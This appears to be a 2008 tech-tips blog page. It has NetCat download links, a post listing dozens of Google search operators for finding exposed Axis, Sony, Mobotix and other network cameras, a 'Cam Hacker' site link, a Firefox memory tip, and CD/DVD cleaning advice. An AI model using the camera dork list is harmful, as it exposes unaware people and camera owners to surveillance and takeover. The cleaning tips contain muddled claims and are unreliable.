http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html

Windows users can download NetCat from here:
http://www.atstake.com/research/tools/network_utilities/

View Live Webcams Anywhere In The World [Technology Tips]

2008-07-04T21:01:00.003+08:00

Thousands of webcams and security cameras around the globe broadcast live images from offices, street corners, and other public and private areas thru the internet. Since many cameras use known protocols to transmit live video streams over the web, it's quite easy to search for publicly accessible webcams. Sometime, you can even possibly control the cameras online.

You can search for this live streaming videos via Google search engine,( some publicly-viewable webcams whose operators may not be fully aware that said webcams are publicly viewable.)

Here are the keywords to search for. Just copy and paste to Google search bar..

inurl:/view.shtml
intitle:”Live View / - AXIS” | inurl:view/view.shtml^
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera”
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / - AXIS”
intitle:”Live View / - AXIS 206M”
intitle:”Live View / - AXIS 206W”
intitle:”Live View / - AXIS 210″
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion”
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intext:”MOBOTIX M1″ intext:”Open Menu”
intext:”MOBOTIX M10″ intext:”Open Menu”
intext:”MOBOTIX D10″ intext:”Open Menu”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1″
intitle:”sony network camera snc-m1″
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image”
intitle:”i-Catcher Console - Web Monitor”

Try also this

http://www.camhacker.com
Cam Hacker search engine can be used for finding unprotected real live public streaming webcams around the world found through a variety of clever search techniques and is built with the Google Co-op custom search engine tool (CSE).

Speed up Firefox by Improving Memory Usage [Internet Tips]

2008-07-04T21:00:00.001+08:00

You might have noticed that Firefox performs poorly when you surf for a long time or open lots of tabs at once. Many wrongly believe that this is due to some memory leak caused by extensions (even, I used to believe this).

This is actually caused because Firefox stores 50 most recently visited websites in a memory session in order to speed up the page load of the previously visited site.

Average web surfer tend to visit only 3 – 5 websites out of the previously visited websites, so you can reduce the resource hog by changing the memory threshold to 5 (or anything below 50).

This can be done by typing "about:config" in your Firefox address bar and search for "browser.sessionhistory.max_entries" (without quotes), right click on that entry and choose modify. Now set the value for 5 (or anything lower than 50).

Clean a DVD or CD Disc [Technology Tips]

2008-07-04T20:45:00.003+08:00

Here are a few handy tips to clean your priceless collection of CDs and DVD discs.

But before you try any of these methods, remember that the disc media is very delicate and you may unintentionally damage the shiny reflective surface if you are not careful:

1. If dust particles are sticking to the CD surface, use a piece of soft cloth to wipe off the dust. To hold the CD, insert a finger or thumb inside the center hole of the CD or handle it by the edges but never touch the shiny surface.

2. If the DVD surface feels sticky or greasy, mix some baby shampoo in lukewarm water and use cotton or soft cloth to gently rub the CD surface with this solution. Make sure the CD is completely dry (no water drops) before putting it back in the jewel case.

3. If there are fingerprint marks on the CD surface, dip a soft cloth in Isopropyl Alcohol/Ethanol/Methanol and gently wipe the surface. Never use a petroleum based solvent like Acetone as that will permanently damage the CD surface.

4. When none of the above alcohol based products are available in the local market, use a bottle of Mineral water to clean the dirty CD surface. Normal tap water has higher concentration of salts that may leave white marks on the CD surface.

5. Always wipe the disc surface in a non-radial back-and-forth motion (from the center hole to the outer edge). Don't follow the concentric circles while cleaning.

6. There are few DVD polish products in the market that promise to repair the scratched surface of CDs and DVDs. I have never used them myself so cannot comment if they really work as advertised.

Final Advice: If you notice a scratch on the surface of a CD or DVD, I would suggest that you immediately make a copy of the disc as it is possible that one fine day, your DVD drive may suddenly refuse to read the disc.